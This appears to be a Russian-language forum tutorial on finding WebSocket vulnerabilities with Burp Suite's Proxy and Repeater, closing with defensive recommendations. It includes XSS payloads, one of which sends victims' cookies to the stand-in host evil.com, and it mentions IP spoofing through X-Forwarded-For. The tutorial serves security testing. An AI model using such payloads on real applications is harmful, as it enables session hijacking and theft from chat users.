Что можно найти?
С помощью Burp Suite можно перехватывать, изменять и повторно отправлять WebSocket-сообщения, чтобы проверить, правильно ли приложение обрабатывает получаемые данные. Это позволяет выявлять такие уязвимости, как:- SQL-инъекции или XSS через изменённые WebSocket-сообщения.
- Ошибки контроля доступа, например, возможность получить данные других пользователей без авторизации.
- Манипуляции бизнес-логикой путём отправки неожиданных команд.
- Возможные DoS-атаки путём перегрузки сервера сообщениями или подключениями.
Пошаговая инструкция по эксплуатации с Burp Suite
- Перехват трафика WebSocket:Запустите приложение с активным прокси Burp Suite. Вкладка Proxy > WebSockets history покажет все обмены сообщениями.
- Отправка сообщения в Repeater:
Кликните правой кнопкой на интересующем сообщении (например, чат или запрос данных) и выберите Send to Repeater.
- Изменение и повторная отправка сообщений:
Во вкладке Repeater переключитесь на WebSocket tab. Здесь можно редактировать содержимое сообщения. Например, если сообщение в формате JSON, можно вставить XSS-пейлоад:
Код:
{
"action": "sendMessage",
"message": "<script>alert('XSS')</script>"
}
- Отправка и анализ ответа:
Нажмите Send, чтобы отправить изменённое сообщение. Проверьте ответ, чтобы понять, выполнился ли пейлоад или приложение отреагировало иначе.
- Манипуляция handshake WebSocket (опционально):
Можно также клонировать и изменить handshake WebSocket для проверки заголовков или параметров, например, подменить IP через X-Forwarded-For.
Практический пример: тестирование XSS через WebSocket
Предположим, приложение использует чат в реальном времени через WebSocket и не проверяет содержимое сообщений. Перехватываем обычное сообщение:
Код:
{
"action": "sendMessage",
"message": "Привет всем"
}
Изменяем его, чтобы вставить вредоносный скрипт:
Код:
{
"action": "sendMessage",
"message": "<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>"
}
Если приложение не фильтрует входящие данные, этот скрипт выполнится у других пользователей, подключённых к чату.
Рекомендации по защите
- Валидировать и фильтровать все сообщения, получаемые через WebSocket.
- Внедрять строгую аутентификацию и авторизацию для каждой сессии и сообщения.
- Использовать шифрование (wss://) для защиты передачи данных.
- Ограничивать количество сообщений и подключений для предотвращения злоупотреблений.
- Мониторить трафик и подозрительную активность в WebSocket-соединениях.
- https://portswigger.net/burp/docume...ow/websockets/manipulating-websocket-messages
- https://portswigger.net/web-security/websockets
- https://www.vaadata.com/blog/how-websockets-work-vulnerabilities-and-security-best-practices/
Если вы зашли так далеко, я хотел бы, чтобы вы оставили лайк, который поможет мне продолжить публикацию.


